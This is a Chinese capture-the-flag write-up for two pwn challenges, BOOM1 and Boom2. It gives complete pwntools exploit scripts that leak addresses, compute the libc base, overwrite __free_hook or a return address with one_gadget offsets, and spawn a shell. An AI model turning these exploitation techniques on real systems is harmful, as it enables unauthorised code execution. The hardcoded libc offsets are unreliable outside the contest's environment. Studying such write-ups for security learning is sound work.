网鼎杯
BOOM1
看了大佬博客后,这题我还是没怎么整明白。
看到这么一串东西那这个大概是手动实现了一个简易的C语言编译器。经过多次尝试发现程序没有什么限制。所以我们直接写程序开始利用。
#!/usr/bin/python3 from pwn import * context.terminal = ['tmux', 'splitw', '-h', '-p', '60'] p = process('./pwn') payload = ''' int main() { int a; printf("%p\n", &a); } ''' p.sendafter("living...", payload) p.interactive()
这部分代码可以泄漏变量a的地址,由于a是存放在mmap分配的内存中,所以与libc基址的偏移是固定的,这样可以算出libc基址。(对于具体是那个版本的libc,采用这个方法只能逐个尝试)
拿到libc基址后可以直接得出__free_hook地址,接着向__free_hook中写入one_gadget即可。
#!/usr/bin/python3 from pwn import * context.terminal = ['tmux', 'splitw', '-h', '-p', '60'] context.log_level = 'debug' p = process('./pwn') payload = """ main() { int b; int libc_base; int *free_hook; libc_base = (int)&b - 0x51efd8; free_hook = libc_base + 0x3c67a8; *free_hook = libc_base + 0x4527a; free(1); } """ a = [0x45226, 0x4527a, 0xf0364, 0xf1207] print(payload) gdb.attach(p) p.sendafter('living...\n', payload) p.interactive()
Boom2
这是一道vm题目。程序一开始分配栈空间和代码码空间,如下:
之后就是一些加减之类的运算,就不分析了。
exp如下(此脚本是在ubuntu18.04上测试的):
#!/usr/bin/python #-*- coding:utf-8 -*- from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60']) p = process('./pwn') one_gadget = [0x4f365, 0x4f3c2, 0x10a45c] payload = p64(1) + p64(0x2d72e) #把0x2d72e放入v38中 payload += p64(11) #向+3处写入0x2d72e payload += p64(1) + p64(0xe8) #向v38中写入0xf0 payload += p64(26) #计算出main函数$rbp+0x8的栈地址 payload += p64(13) #向+1出写入$rbp+0x8 payload += p64(9) #取出原return addr payload += p64(13) #向+0处写入return addr payload += p64(1) + p64(0x2d7ce) #把0x2d72e放入v38中 payload += p64(25) #计算one_gadget payload += p64(11) #向$rbp+0x8处写入one_gadget payload += p64(30) p.sendlineafter('Input your code> ', payload) p.interactive()